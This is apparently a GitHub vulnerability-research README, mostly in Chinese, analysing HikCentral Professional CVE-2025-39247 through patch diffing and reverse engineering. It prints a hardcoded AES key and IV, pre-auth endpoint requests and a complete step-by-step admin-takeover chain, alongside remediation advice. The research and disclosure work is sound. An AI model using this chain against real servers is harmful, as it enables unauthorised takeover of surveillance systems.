Sita-Technologies/CVE-2025-39247

GitHub: Sita-Technologies/CVE-2025-39247

针对海康威视 HikCentral Professional CVE-2025-39247 预认证漏洞的补丁比对与二进制逆向分析项目,通过 Nginx 配置 diff 和平台 DLL 字符串挖掘完整还原了漏洞根因与修复逻辑。

Stars: 0 | Forks: 0

# CVE-2025-39247 - **目标:** HikCentral Professional (HCMP, 中央 VMS 服务器) - **CVE:** CVE-2025-39247 — 访问控制漏洞 - **CVSS 3.1:** 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) - **受影响版本:** V2.3.1 – V2.6.2 和 V3.0.0 - **已修复版本:** V2.6.3 / V3.0.1 / Fix-Pack CVE-2025-39247 - **披露日期:** 2025-08-28 - **分析日期:** 2026-05-21 ## 1. 开源情报收集 在下载任何内容之前,先来看看公开渠道已有的信息: | 来源 | 获取到的信息 | |---|---| | Hikvision 安全公告 | “API endpoint 缺少身份验证检查”,建议升级至 V2.6.3 / V3.0.1 | | NVD CVE-2025-39247 | CVSS 指标;向量为网络、无需身份验证、scope-changed、机密性高 | | Wiz, ZeroPath, SentinelOne, OffSeq, gbhackers, cybersecuritynews 等摘要 | 均重述了安全公告;**无技术细节,无 PoC,未指明受影响的 endpoint** | | GitHub PoC 聚合器 (poc-in-github, 0xMarcio/cve 等) | 未收录相关 PoC | | 论坛 (ipcamtalk, cctvforum, reddit)、Torrent 索引器 | 无 PoC,无泄露的安装包;ipcamtalk 有一个 HikCentral 的使用讨论帖,但不包含任何与漏洞利用相关的内容 | 因此,截至分析日期,没有任何公开的技术文章披露该漏洞。任何复现工作都只能从 binary diffing 开始。 ## 2. 获取文件 ### 2.1 存在漏洞的安装包 (V2.6.2 Full Pack) 在 CVE-2025-39247 公布后,V2.6.2 的下载页面被下架,但 CDN 上的*文件*从未被清除。该文件名可以通过在下架前索引过该页面的第三方镜像站(FileHorse —— 发布了文件名和 MD5)恢复。有了该文件名,只需使用普通的浏览器 User-Agent 和匹配的 `Referer` 头部,向 Hikvision 的 CDN 发起一个普通的 GET 请求,依然可以获取到该文件。 ``` curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0" \ -H "Referer: https://www.hikvision.com/en/support/download/software/hikcentral-professional-v2-6-2/" \ -O \ "https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe" ``` 结果: - 大小:1,314,043,792 字节 (1.22 GB) - MD5:`76d42e7cb16dc0e177b9a35d0fed7ced` — 与 FileHorse 发布的值一致,证实这是 Hikvision 官方签名的安装包(而非第三方重打包文件) - CDN 响应头:`HTTP/2 200`, `content-type: application/x-msdownload`, `eo-cache-status: HIT`, `age: 2520395` (≈ 在 Tencent EdgeOne 边缘缓存中存放了 29 天未被淘汰) **值得向 Hikvision PSIRT 报告的附带观察:** 下架 V2.6.2 页面仅仅是表面功夫。这个孤立文件在 CDN 上无需身份验证且无 signed-URL 门控即可访问。V2.5.1 和 V2.6.0 Full Pack 的情况也是如此。 ### 2.2 已修复的安装包 (V2.6.3 Base Pack) 目前链接在 V2.6.3 下载页面;获取方式相同: - 大小:932,813,264 字节 (890 MB) - Last-Modified:2025-08-28 (CVE 披露日期) ### 2.3 Fix-Pack 仍链接在 V2.6.2 下载页面(Hikvision 希望用户应用它): - 大小:32,599,504 字节 (31 MB) ## 3. 静态提取 这三者都是 InstallShield 风格的 PE 封装文件。`7z` 可以通过两次解压提取它们: ``` # 阶段 1 — 提取 PE 资源 7z x -o./extracted/v262/pe downloads/ 7z x -o./extracted/v263/pe downloads/ # 阶段 2 — 提取隐藏在 PE 资源中的嵌套 7-Zip 流 # (注意:resource-type 标签显示为 "ZIP",但 byte signature 为 7-Zip) for ver in v262 v263; do for z in extracted/$ver/pe/.rsrc/2052/ZIP/*; do sz=$(stat -c %s "$z"); [ "$sz" -lt 1048576 ] && continue 7z x -o"extracted/$ver/payload/$(basename $z)" "$z" done done ``` 两个安装包都会展开为大约二十几个具名的负载压缩包。顶层目录揭示了其架构: | 压缩包 | 内容 | |---|---| | `246/Nginx` + `246/www` | Nginx Web 层(前端入口)和 SPA Web UI | | `244/bin` | 原生 C++ 服务二进制文件 + 证书 | | `240` | 内置 PostgreSQL + 数据库初始化脚本 | | `238` | Bee* runtime (BeeAgent, BeeGuard, …) | | `282` | 应用程序服务和插件(C++ 后端代码的主体部分) | | `281, 283-284, 396, 398-399, 513, 520, 538-541, 573` | 较小的插件、升级/卸载存根 | 关键在于,**任何地方都没有 Java JAR/WAR 文件**。后端是运行在 Nginx 上的 C++ 程序——这一点很重要,因为它直接告诉你,任何身份验证缺陷都存在于编译后的二进制文件中,而不是在反编译极其简单的 WAR/JAR 字节码中。 ## 4. 文件级 diff ``` # 构建清单 for ver in v262 v263: find . -type f -print0 | xargs -0 md5sum | sort -k2 > inv_$ver.txt # 集合: common-path + 不同的 MD5 → 已修复的文件 v262 = {ln[34:]: ln[:32] for ln in open("inv_v262.txt")} v263 = {ln[34:]: ln[:32] for ln in open("inv_v263.txt")} common = set(v262) & set(v263) changed = [p for p in common if v262[p] != v263[p]] ``` 结果:在公共路径下有 239 个更改的文件。分布情况: | 类别 | 数量 | 备注 | |---|---|---| | `246/www/*.js` (Web UI 分块) | ~200 | 大部分为版本更新带来的资源哈希变动;忽略 | | `246/Nginx/conf/nginx_location.conf` | **1** | **单文件 Nginx 配置变动 — 从这里开始分析** | | `246/Nginx*/install.bat` | 6 | 安装脚本,不相关 | | `244/bin/*.{exe,dll}` | 6 | 原生二进制文件 (`DistributionFilter.dll`, `FilterChain.dll`, 媒体工具) | | `282/*.{exe,dll}` | 55 | 应用程序服务(最大的集群 — `platform.dll`, `PersonCredential.dll`, `baseacs.*`, …) | | `240/bin/pg_*` | 6 | Postgres 重新构建,不相关 | | `284/hplugin/dahua_plugin/*` | 4 | 厂商 SDK 更新 (+10.97 MB) — 不相关 | | `284/hplugin/onvif_plugin/*` | 4 | 厂商 SDK 更新 (+0.99 MB) — 不相关 | | 升级/卸载存根,崩溃报告器 | ~30 | 相同大小的 PE 时间戳重建,忽略 | 在过滤掉厂商 SDK 更新、构建系统时间戳偏移和纯粹的资源更新后,*真正*与安全相关的变动缩减为: - 一个 Nginx 配置文件 - `282/` 中少量的 C++ 二进制文件(最显著的是 HCMP 后端服务 `platform.dll`,增加了 +57 KB) ## 5. Nginx diff:免费的漏洞定位 对 V2.6.2 和 V2.6.3 的 `nginx_location.conf` 执行 `diff -u`,刚好产生一个差异块:V2.6.3 中全新的 `location =` 块。 ``` #禁止非127.0.0.1和::1的重置密码 ← "Forbid non-127.0.0.1/::1 password reset" location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword { if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; } if ($allowed != "1") { return 403; } if ($scheme = "http") { proxy_pass http://http_backend; } if ($scheme = "https") { proxy_pass http://http2_backend; } } ``` 这新增的 21 行代码就是前端入口针对 CVE-2025-39247 的全部修复内容,它告诉你了一切: - **Endpoint:** `PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword` - **Bug 类型:** 在 V2.6.2 中,该请求会直接落入 `/ISAPI/Bumblebee/Platform/V0/*` 的全量代理指令中,发送至后端,且**没有远程地址限制**,**也没有 Nginx 层面的身份验证检查**。 - **后端语义:** 该处理程序存在的目的是在安装期间设置初始的默认管理员密码(即,默认调用者是本地安装程序);修复方案将这种信任显式化了。 这段中文注释很关键:它的字面意思是“*禁止非 127.0.0.1/::1 进行密码重置*”。 ## 6. 从 Web UI 看请求结构 Web UI 的 JavaScript 代码(压缩后位于 `246/www/Portal/*.js` 中)按如下方式调用该 endpoint: ``` // API definition (de-minified): changeDefaultUserPassword: function (sid, payload, opts) { return http.put({ url: "ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword", data: { ChangeDefaultUserPasswordRequest: payload }, params: { SID: sid } }, opts); } // Call site: changeDefaultUserPassword(n.SID, { UserName: form.userName, // "admin" Password: jsEncrypt.encrypt(form.newPassword), // RSA-PKCS1v15 ActiveCode: form.activeCode ? jsEncrypt.encrypt(form.activeCode) : "", QuestionList: questionAnswers // [{ID, Answer}, …] or [] }, ...); // The RSA pubkey comes from another unauthenticated endpoint: getCrypto: function () { http.get({ url: "ISAPI/Bumblebee/Platform/V0/Security/Crypto" }); } // returns: { CryptoKey: , ... } ``` 因此,甚至在进行任何反汇编之前,公开的 JS 就已经为你提供了完整的网络请求结构。但它也揭示了棘手的部分:请求体需要**提供有效的 `ActiveCode` 或正确的 `QuestionList` 答案**。发送空值是行不通的——后端会抛出文档中记录的错误之一拒绝请求(已通过针对 `platform.dll` 的字符串挖掘验证,见 §7)。 因此,CVE-2025-39247 **不是**“该 endpoint 存在身份验证绕过;发送空字段即可更改密码”。它是“该 endpoint *信任只有本地调用者* 已经拥有了正确的 ActiveCode;漏洞在于缺少了网络层面的 localhost 门控,因此任何能够*同时*提供有效 ActiveCode 或 QuestionList 的*远程*调用者都能成功利用。” 因此,真正的漏洞利用难题是:ActiveCode 或 QuestionList 从何而来? ## 7. 后端处理程序 — 字符串挖掘 `platform.dll` `platform.dll` 是 HCMP 后端服务,在 V2.6.2 中大小为 46.87 MB,在 V2.6.3 中为 46.93 MB (+57 KB)。所有路由字符串、日志格式化字符串以及 C++ RTTI / `__FUNCTION__` 字符串均以明文形式存在。 `platform.dll` 中该处理程序附近的字符串: ``` VSMPlatform::CCmd::Security_ChangeDefaultUserPassword ..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp /ChangeDefaultUserPasswordRequest/UserName /ChangeDefaultUserPasswordRequest/Password /ChangeDefaultUserPasswordRequest/ActiveCode /ChangeDefaultUserPasswordRequest/CryptoKey /ChangeDefaultUserPasswordRequest/QuestionList /ChangeDefaultUserPasswordRequest/QuestionList[%d]/Answer [%s]IP=[%s] Reqest Paramter active_code and security_question both empty! [%s]invalid active_code=%s [%s]security question verify fail [%s]IP=[%s] Isn't Super User! [%s]IP=[%s] User Not Exist! [%s]RSADecrypt fail! err_code=%d session=%s encrypt_str_id=%s encrypt_answer=%s [%s] ChangeDefaultUserPassword by ip[%s]. ``` V2.6.2 和 V2.6.3 的 `platform.dll` 都包含这些字符串。因此,验证逻辑在 V2.6.2 中也同样存在——系统确实对 `ActiveCode` 和 `QuestionList` *进行了检查*。 ### 7.1 该处理程序在 V2.6.3 中新增了什么?(纵深防御指纹) 存在于 V2.6.3 `platform.dll` 而*不存在于* V2.6.2 中的字符串: ``` # 一个全新的 C++ 类 — rate-limit / lockout 子系统: VSMPlatform::CRetrievePwdByQuesFreezeManager::AddAccountLoginFailCount VSMPlatform::CRetrievePwdByQuesFreezeManager::ClearAccountFreeze VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountFreezeSurplusCount VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountLockRemainingFreezeTime VSMPlatform::CRetrievePwdByQuesFreezeManager::IsAccountFreeze ..\..\src\vsmplatform\Authentication\UserLogin\Freeze\RetrievePwdByQuesFreezeManager.cpp [%s]AddAccountLoginFailCount only admin can lock, but id: %d # Application-level remote-addr literal: 127.0.0.1 # 在 handler 附近出现两次的 literal "admin": admin # Token 验证: VSMPlatform::CCmd::CheckToken /ResponseStatus/Data/TokenValid [%s]token = %s, session = %s # Lockout/throttle 响应字段: /ResponseStatus/Data/RetrievePasswordResult/RemainingNumber /ResponseStatus/Data/RetrievePasswordResult/LockRemainTime /ResponseStatus/Data/RetrievePasswordResult/RemainingType ``` 翻译:V2.6.2 在 `ChangeDefaultUserPassword` 验证路径上**没有**速率限制。攻击者如果提供了错误的 ActiveCode 或错误的安全问题答案,只会收到一个错误,并且可以无限次重试。验证码格式字符串 `%06d` 也存在于 `platform.dll` 中(连同 SQL schema `verify_code VARCHAR(64)` 一起),证实了邮件验证码是一个 **6 位十进制数**,搜索空间为 10⁶。 这已经是一个可行的漏洞利用路径(路径 A):触发 `SendVerifyCode`,在过期时间窗口内且无账户锁定的情况下,暴力破解 10⁶ 个验证码。按 1000 req/s 的速度,平均成功时间 ≈ 8 分钟。但是,还有一条更直接的路径。 ## 8. 预认证信息泄露面 对 `platform.dll` 中 endpoint 的枚举揭示了几个看起来有关联的同类项: ``` /ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrieveStateInfo /ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrievePasswordWithName /ISAPI/Bumblebee/Platform/V0/Permission/Users/SendVerifyCode /ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestion /ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestionCheck /ISAPI/Bumblebee/Platform/V0/Security/Crypto /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode ``` 这些 endpoint 都没有受到 `nginx_location.conf` 的限制;全部通过相同的默认 `/ISAPI/Bumblebee/Platform/*` 代理进行转发。处理程序字符串展示了它们返回的内容: ``` /ResponseStatus/Data/UserRetrieveStateInfo/Info/Email /ResponseStatus/Data/UserRetrieveStateInfo/Info/Name /ResponseStatus/Data/UserRetrieveStateInfo/Info/RetrieveType /ResponseStatus/Data/UserRetrieveStateInfo/Info/RemainVerityCodeTimeout /ResponseStatus/Data/UserRetrieveStateInfo/SystemMailSetted /ResponseStatus/Data/UserRetrieveStateInfo/SecurityQuestionSetted /ResponseStatus/Data/UserRetrieveStateInfo/AllowRetrieve ``` 因此,`RetrieveStateInfo(Name=admin)` 会向任何未经身份验证的人返回管理员的电子邮件、是否配置了安全问题恢复、是否配置了电子邮件恢复,以及任何正在处理中的验证码的剩余有效时间。 `RetrieveStateInfo` 并未被 V2.6.3 补丁限制。这种信息泄露在 V2.6.3 中依然存在。 ## 9. License/QR 攻击面 Endpoint `/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode` 非常引人注目,因为它的名称将 *License* 与 *ActiveCode* 联系在了一起——而密码重置处理程序也接受一个 `ActiveCode` 字段。这种术语上的重合十分可疑。 从该处理程序可达的字符串: ``` License:%s;DZP:%s ← QR plaintext format [%s]PrivateAESEncrptQRCode failed! data:%s ← AES path used to encrypt [%s]Base64Encode failed! data:%s ← then base64 /ResponseStatus/Data/QRCode ← response field https://www.hikvision.com/en/support/how-to/how-to-video/?SN=%s ``` **通过 V2.6.3 diff 确认:** 格式化字符串 `License:%s;DZP:%s` 存在于 V2.6.2 的 `platform.dll` 中,但在 V2.6.3 中被**移除**。QR endpoint 本身、`PrivateAESEncrptQRCode` 函数符号以及 IV 常量(§10)在 V2.6.3 中全部保留——只有泄露明文格式的代码被剔除了。这正是你所预期的 Hikvision 修复方案的样子。 ## 10. 通过反汇编恢复 AES 密钥和 IV 这是最耗工作量的步骤。计划: 1. 在 `platform.dll` 中找到函数 `VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode。 2. 读取其 key + IV 的设置过程。 3. 要么两者都是可以直接读取的字面量字节,要么它们是计算出来的——如果是这样,就跟踪计算过程。 ### 10.1 定位函数 错误格式化字符串 `[%s]PrivateAESEncrptQRCode failed! data:%s` 位于 `.rdata` 中。找到它的 `.rdata` VMA,然后扫描 `.text`,寻找解析为该 VMA 的 `lea r, [rip + rel32]` 指令。(对于 16 MB 的 `.text` 段,使用 `pefile + capstone` 线性遍历寻找 REX.W + 8D + MODRM mod=00 rm=101 模式只需几秒钟)。 该错误日志仅被位于 `0x1812553f7` 的一条指令引用。通过 `.pdata`(PE x64 unwind 表 —— 可使用 `pefile` 解析节头,每个 RUNTIME_FUNCTION 条目占 12 字节:start_RVA, end_RVA, unwind_RVA)向上回溯到包含它的函数,即可得到位于 `0x181254cc0..0x181255919` 的外部 ISAPI 处理程序 `CLicenseISAPIComm::ActiveCodeQRcode`。 外部函数构建明文字符串 `"License:%s;DZP:%s"` 并对结果进行 base64 编码;实际的 AES 调用位于下一级的一个辅助函数中,地址为 `0x18002a397`(通过 jmp thunk 解析为一个 502 字节的函数,其 RTTI 字符串为 `VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode` —— 已通过字符串交叉引用确认)。 ### 10.2 深入 `0x1807d33e0` 处的 AES 包装器 反汇编这 502 字节的函数体,并列出所有目标落在 `.rdata` 中的 `lea r, [rip + rel32]`,仅返回 5 个字符串引用: ``` 0x1807d34d2 -> 0x18200b1b0 len=16 'AaBbCcDd1234!@#$' ← 16 bytes of letters/digits/symbols 0x1807d3516 -> 0x18200b1d0 len=48 '..\..\src\vsmplatform\Common\PrivateAESEncrypt\PrivateAESEncrypt.cpp' 0x1807d352a -> 0x18200b218 len=48 'VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode' 0x1807d3531 -> 0x18200b250 len=23 '[%s]error is %d[%s(%d)]' 0x1807d3538 -> 0x18200b268 len=23 'platform.PriorityLogger' ``` 第一个条目是唯一的 16 字节字符串引用。这个长度很可疑:对于 AES-128 来说,AES 块 / 密钥 / IV 都是 16 字节。字面量 `AaBbCcDd1234!@#$` —— 八对交替大小写的字母对,后跟 `1234!@#$` —— 也是教科书式的“开发者占位常量”形态(类似于真正的 `BAADF00D` / `DEADBEEF` 的 ASCII 习惯用法)。此时,一个合理的假设是“这就是 IV”。 这一假设得到了反汇编上下文的支持。字符串引用附近的指令序列: ``` ; ... build first 16 bytes of something into buffer at [rsp+0xc0] ... mov dword ptr [rsp + 0x100], 5 ; some flag = 5 lea rdx, [rip + 0x1837cd7] ; <— loads "AaBbCcDd1234!@#$" lea rcx, [rsp + 0xe0] ; destination call ; std::string assign-like; copies 16B into [rsp+0xe0] mov dword ptr [rsp + 0x104], 1 lea rdx, [rsp + 0xa0] ; pass: rdx = key (16B at [rsp+0xa0]) lea rcx, [rsp + 0x60] ; pass: rcx = output buffer call ; → 0x181b03790, a generic AES mode-dispatcher ; that imports AES_cbc_encrypt, AES_cfb128_encrypt, ; AES_ecb_encrypt and AES_ofb128_encrypt. ; QR path takes the AES_cbc_encrypt branch. ``` 因此,`[rsp+0xe0]` 最终保存了 IV 字节,`[rsp+0xa0]` 保存了之前在 `[rsp+0xc0]` 中构建的 16 个字节(密钥),然后这两个缓冲区被传递给 OpenSSL 包装器。确认 IV 的恢复只需交叉检查一下:V2.6.3 的 `platform.dll` 仍在相同的偏移量处包含字面量 `AaBbCcDd1234!@#$` —— Hikvision 没有轮换 IV,这是*正确*的密码学选择(只有密钥需要保密,IV 需要每条消息唯一,但固定的 IV 只是“弱”,而不像固定的*密钥*那样是“被破解”)。 ### 10.3 密钥的构建 在 IV 字符串引用的正上方,包装器使用以下短序列设置了密钥: ``` mov dl, 0x41 ; seed byte = 'A' lea rcx, [rsp + 0x140] ; this-pointer for a local buffer call ; → 0x1807d19b0 (599-byte function) mov [rsp + 0x50], rax mov rdx, [rsp + 0x50] ; rdx = pointer to the 16-byte buffer the call just produced lea rcx, [rsp + 0xc0] call ; copy the 16 bytes into the key buffer at [rsp+0xc0] ``` 然后反汇编 `0x1807d19b0`:它是一个*纯算术密钥派生函数*。它接收一个字节作为输入(`0x41`),分配 16 个栈字节,并写入 16 个值,每个值通过 `seed + offset_i` 计算得出,其中包含 16 个硬编码的偏移量序列: ``` +0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39, −0x10, −0x0F, −0x0E, −0x0D, −0x20, −0x01, −0x1E, −0x1D ``` 以 seed `0x41`(`'A'`)为例: | 位置 | 偏移量 | 字节 | 字符 | |---|---|---|---| | 0 | +22 | 0x57 | `W` | | 1 | +54 | 0x77 | `w` | | 2 | +23 | 0x58 | `X` | | 3 | +55 | 0x78 | `x` | | 4 | +24 | 0x59 | `Y` | | 5 | +56 | 0x79 | `y` | | 6 | +25 | 0x5A | `Z` | | 7 | +57 | 0x7A | `z` | | 8 | −16 | 0x31 | `1` | | 9 | −15 | 0x32 | `2` | | 10 | −14 | 0x33 | `3` | | 11 | −13 | 0x34 | `4` | | 12 | −32 | 0x21 | `!` | | 13 | −1 | 0x40 | `@` | | 14 | −30 | 0x23 | `#` | | 15 | −29 | 0x24 | `$` | ### 10.4 恢复的密码学材料 ``` Algorithm: AES-128-CBC with PKCS7 padding IV (16): 41 61 42 62 43 63 44 64 31 32 33 34 21 40 23 24 → AaBbCcDd1234!@#$ KEY (16): 57 77 58 78 59 79 5A 7A 31 32 33 34 21 40 23 24 → WwXxYyZz1234!@#$ ``` 同属一种算术族。具有相同的尾随 8 字节 (`1234!@#$`)。两者都是嵌入在二进制文件中的常量,在所有 V2.6.2 安装中完全相同(并且在 V2.3.1 .. V2.6.2 和 V3.0.0 中也是如此——因为它们共享 QR 加密路径),因此只需从一份 `platform.dll` 副本中进行一次恢复,即可解密网络上任何易受攻击的 HCMP 服务器上的 QR 码。 ## 11. 端到端漏洞利用链 该利用链清晰地分为两半: - **第 1-3 部分**是 HCMP 中一个无需身份验证的**信息泄露**问题。它们针对目标发起两个只读请求,并从预登录 endpoint 恢复出特定安装的密钥(License ActiveCode)。 - **第 4-5 部分**是通过常规 Web UI 将恢复的 ActiveCode 提交给 HCMP 合法的“忘记密码”流程来执行的**接管**操作。不需要特殊的 HTTP 请求——操作员只需像合法用户一样点击表单即可。 这种分割非常重要:它使得参考 PoC 可以实现为一个纯粹的侦察工具,其中不包含任何破坏性的代码路径(UI 工作流保持在人为干预循环中)。 ``` HALF 1 — automated recon (recovers the ActiveCode): 1. POST /ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET (empty body) (unauthenticated, read-only) → ResponseStatus.Data.CryptoResponse.{SID, CryptoKey, CryptoType, CryptoMode} → SID is a server-issued anonymous session token used by step 2. 2. POST /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID= (empty body, unauthenticated, read-only) → ResponseStatus.Data.QRCode = base64( PNG image of a QR code ) The QR's payload is the URL template https://www.hikvision.com/en/support/how-to/how-to-video/?SN= where = base64( AES-128-CBC-PKCS7( KEY = WwXxYyZz1234!@#$, IV = AaBbCcDd1234!@#$, PT = "License:[,...];DZP:")) The License field is a COMMA-SEPARATED LIST of one or more ActiveCodes (one per licensed module on the target). Any single ActiveCode in that list is accepted by the takeover workflow in HALF 2. 3. Locally: a. base64-decode the QRCode field → PNG bytes b. decode the QR (e.g. pyzbar) → URL string c. extract the SN= parameter (DO NOT use form-decode — '+' is a valid base64 character that must survive verbatim) d. base64-decode → 16N bytes of AES ciphertext e. AES-128-CBC decrypt with the hardcoded KEY+IV, PKCS7-unpad f. split on "License:" / "," / ";DZP:" → list of ActiveCodes in plaintext. HALF 2 — manual takeover via the legitimate Web UI: 4. Open https://: in a browser. 5. Click «Forgot password». 6. Username → admin 7. Recovery method → «Activation code» (NOT email / questions) 8. Activation code → 9. Choose & confirm a new admin password. 10. Log in as admin with the new password. ``` 无需暴力破解,无需社会工程学,无需任何先验知识,除了那一对可从单个 V2.6.2 `platform.dll` 中一次性恢复,并且在所有受影响版本的每一次安装中都完全相同的 16 字节 KEY+IV。第 4-10 部分由操作员通过合法的 UI 手动执行——在参考 PoC 中没有任何对应的自动化操作。 实现:`poc/cve_2025_39247_poc.py` — 一个**仅用于侦察**的 Python 脚本。它执行第 1 部分(两个预认证的只读 POST 请求),然后打印出手动操作指南(步骤 4-10),并自动填入操作员的目标 URL 和恢复出的 ActiveCode。该脚本不包含任何向目标写入数据的代码;第 2 部分通过 Web UI 手动执行,因此该工具始终作为一种验证手段,而不是即发即弃的武器。 运行: ``` python3 poc/cve_2025_39247_poc.py https://: ``` 两个 `--qr-*` 标志允许脚本完全针对捕获的 QR 码离线运行(用于分析而无需再次请求目标): - `--qr-scanned-text ''` — 粘贴扫描出的 QR 码的文本内容 - `--qr-ciphertext-hex ` — 输入预先提取的 base64 解码后的 AES 密文 ## 12. V2.6.3 (以及 Fix-Pack) 实际上做了哪些更改 | 防御措施 | V2.6.2 | V2.6.3 | V2.6.2 上的 Fix-Pack | |---|---|---|---| | Nginx 对 `ChangeDefaultUserPassword` 的 remote-addr 限制 | 缺失 | **已添加** | **已添加**(通过 Fix-Pack EXE 中的 InstallShield 脚本实现 —— 已通过 Fix-Pack 安装引擎内部的字符串 `\VSM Servers\Web Service\Nginx\conf\nginx_location.conf` / `_bak.conf` 确认) | | 处理程序中应用级别的 `127.0.0.1` 字面量检查 | 缺失 | **已添加** | 未添加(Fix-Pack 未修补 `platform.dll`) | | 账户级别的锁定 (`CRetrievePwdByQuesFreezeManager`) | 缺失 | **已添加(仅限管理员)** | 未添加 | | `CheckToken` 验证步骤 | 缺失 | **已添加** | 未添加 | | QR 明文包含 `License:;DZP:...` | 是 | **已移除** | 未更改(Fix-Pack 未修补 `platform.dll`) | | QR AES 密钥 | 可从二进制文件中恢复 | 已轮换 *或* 不再使用(取决于明文格式更改是否使该路径失效) | 通过 Fix-Pack 中的 `wbaes_key_dec` + whitebox-AES 解密器进行轮换 | | QR AES IV | `AaBbCcDd1234!@#$` | 未更改 | 未更改 | | `RetrieveStateInfo` 信息泄露 | 泄露 | **仍然泄露** | 仍然泄露 | | `GetSecurityQuestionCommBeforeLogin` | 泄露 | **仍然泄露** | 仍然泄露 | | 可在 Hikvision CDN 上访问的存在漏洞的安装包 | 是 | 是 | 是 | Fix-Pack 提供了一个 V2.6.3 版本不需要的额外活动部件:一个 **whitebox-AES 解密器**(`wbext_dec.exe`,源路径泄露为 `D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c`,使用其自身的 `fixed_iv_16byte` IV 字面量),外加一个 **244 字节的 AES-128-CFB 密文**(`wbaes_key_dec`)。解密器获取密文数据块并生成一个新的明文密钥,Fix-Pack 安装程序将其写入 HCMP 的存储中,以轮换现有 V2.6.2 安装上二进制内嵌的 QR 密钥。这里使用 Whitebox-AES 纯粹是为了让轮换后的密钥难以通过检查从补丁文件中提取出来——这与 DRM 系统使用的防御技术相同。 ## 13. 建议的补救措施(除了已发布的补丁之外) 1. **从 CDN 中清除孤立的安装程序二进制文件。** `…/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.…exe` 仍然返回 HTTP/2 200 状态码,并命中了 29 天的边缘缓存。V2.6.0, V2.5.1 等版本也是如此——在漏洞范围内的每一个安装程序仍然可以通过直接 URL 访问。页面级别的下架只是表面功夫。 2. **为 `RetrieveStateInfo` 和 `GetSecurityQuestionCommBeforeLogin` 增加身份验证。** 在 V2.6.3 中,两者都会向匿名调用者泄露管理员电子邮件和恢复配置的元数据;这两个接口均未受到修复的影响。 3. **停止使用 ASCII 占位符常量作为密码学密钥材料。** `WwXxYyZz1234!@#$` 属于那种能逃过“走马观花式代码审查”的值。请将其替换为首次运行时生成的、针对特定安装的随机材料;如果向后兼容性要求保留二进制内嵌的备用方案,至少应从特定安装状态(机器 GUID、安装时间戳)的哈希值中派生它,使其在每个部署中都有所不同。 4. **将“IV 不需要保密”视为一个隐患,而不是一种许可。** 即使在泄露后保留 IV 字面量在 CBC 模式下在数学上是站得住脚的,但一旦 diff 暴露了仅针对密钥的轮换,就会为攻击者提供不必要的便利。 5. **对于 `ChangeDefault*` 系列 endpoint**,在应用层首选 Unix-domain-socket / 仅限 loopback 的监听器,而不是 Nginx 配置限制。一个配置文件只需一次误编辑就可能重新引入漏洞;而在 C++ 服务中 `bind 127.0.0.1` 在结构上要安全得多。
标签:PoC, StruQ, 云资产清单, 实时处理, 暴力破解, 权限绕过, 测试用例, 海康威视, 漏洞分析, 物联网安全, 路径探测, 逆向工程